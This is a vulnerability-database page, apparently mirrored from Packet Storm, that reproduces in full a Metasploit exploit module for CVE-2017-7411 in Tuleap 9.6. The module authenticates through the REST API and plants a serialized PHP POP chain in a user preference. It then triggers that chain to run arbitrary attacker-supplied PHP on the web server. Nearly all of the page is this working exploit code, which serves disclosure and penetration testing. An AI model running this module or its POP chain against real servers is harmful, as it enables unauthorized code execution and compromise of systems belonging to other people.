Lucene search
K

Tuleap 9.6 Second-Order PHP Object Injection

🗓️ 19 Dec 2017 00:00:00Reported by EgiXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 73 Views

Tuleap 9.6 Second-Order PHP Object Injection exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Tuleap 9.6 Second-Order PHP Object Injection Vulnerability
24 Oct 201700:00
zdt
0day.today
Tuleap 9.6 Second-Order PHP Object Injection Exploit
19 Dec 201700:00
zdt
Circl
CVE-2017-7411
19 Dec 201700:00
circl
CNVD
Enalean Tuleap User::getRecentElements() method code execution vulnerability
11 Dec 201700:00
cnvd
CVE
CVE-2017-7411
30 Oct 201714:00
cve
Cvelist
CVE-2017-7411
30 Oct 201714:00
cvelist
Exploit DB
Tuleap 9.6 - Second-Order PHP Object Injection (Metasploit)
19 Dec 201700:00
exploitdb
Metasploit
Tuleap 9.6 Second-Order PHP Object Injection
1 Nov 201715:09
metasploit
NVD
CVE-2017-7411
30 Oct 201714:29
nvd
OpenVAS
Tuleap < 9.7 Object Injection Vulnerability
24 Oct 201700:00
openvas
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',  
'Description' => %q{  
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which  
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the  
webserver. The vulnerability exists because of the User::getRecentElements() method is using the  
unserialize() function with data that can be arbitrarily manipulated by a user through the REST  
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class  
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.  
},  
'Author' => 'EgiX',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://karmainsecurity.com/KIS-2017-02'],  
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],  
['CVE', '2017-7411']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['Tuleap <= 9.6', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 23 2017'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),  
OptString.new('USERNAME', [true, "The username to authenticate with" ]),  
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),  
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),  
Opt::RPORT(443)  
])  
end  
  
def setup_popchain(random_param)  
print_status("Trying to login through the REST API...")  
  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/tokens'),  
'ctype' => 'application/json',  
'data' => {'username' => user, 'password' => pass}.to_json  
})  
  
unless res && (res.code == 201 || res.code == 200) && res.body  
msg = "Login failed with #{user}:#{pass}"  
print_error(msg) if @is_check  
fail_with(Failure::NoAccess, msg)  
end  
  
body = JSON.parse(res.body)  
uid = body['user_id']  
token = body['token']  
  
print_good("Login successful with #{user}:#{pass}")  
print_status("Updating user preference with POP chain string...")  
  
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"  
  
pop_chain = 'a:1:{i:0;a:1:{'  
pop_chain << 's:2:"id";O:8:"Mustache":2:{'  
pop_chain << 'S:12:"\00*\00_template";'  
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'  
pop_chain << 'S:11:"\00*\00_context";a:1:{'  
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'  
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'  
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"  
  
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}  
  
res = send_request_cgi({  
'method' => 'PATCH',  
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),  
'ctype' => 'application/json',  
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},  
'data' => pref.to_json  
})  
  
unless res && res.code == 200  
msg = "Something went wrong"  
print_error(msg) if @is_check  
fail_with(Failure::UnexpectedReply, msg)  
end  
end  
  
def do_login  
print_status("Retrieving the CSRF token for login...")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'account/login.php')  
})  
  
if res && res.code == 200 && res.body && res.get_cookies  
if res.body =~ /name="challenge" value="(\w+)">/  
csrf_token = $1  
print_good("CSRF token: #{csrf_token}")  
else  
print_warning("CSRF token not found. Trying to login without it...")  
end  
else  
msg = "Failed to retrieve the login page"  
print_error(msg) if @is_check  
fail_with(Failure::NoAccess, msg)  
end  
  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => res.get_cookies,  
'uri' => normalize_uri(target_uri.path, 'account/login.php'),  
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}  
})  
  
unless res && res.code == 302  
msg = "Login failed with #{user}:#{pass}"  
print_error(msg) if @is_check  
fail_with(Failure::NoAccess, msg)  
end  
  
print_good("Login successful with #{user}:#{pass}")  
res.get_cookies  
end  
  
def exec_php(php_code)  
random_param = rand_text_alpha(10)  
  
setup_popchain(random_param)  
session_cookies = do_login()  
  
print_status("Triggering the POP chain...")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),  
'cookie' => session_cookies,  
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}  
})  
  
if res && res.code == 200 && res.body =~ /Exiting with Error/  
msg = "No access to Artifact ID #{datastore['AID']}"  
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)  
end  
  
res  
end  
  
def check  
@is_check = true  
flag = rand_text_alpha(rand(10)+20)  
res = exec_php("print '#{flag}';")  
  
if res && res.code == 200 && res.body =~ /#{flag}/  
return Exploit::CheckCode::Vulnerable  
elsif res && res.body =~ /Exiting with Error/  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
@is_check = false  
exec_php(payload.encoded)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation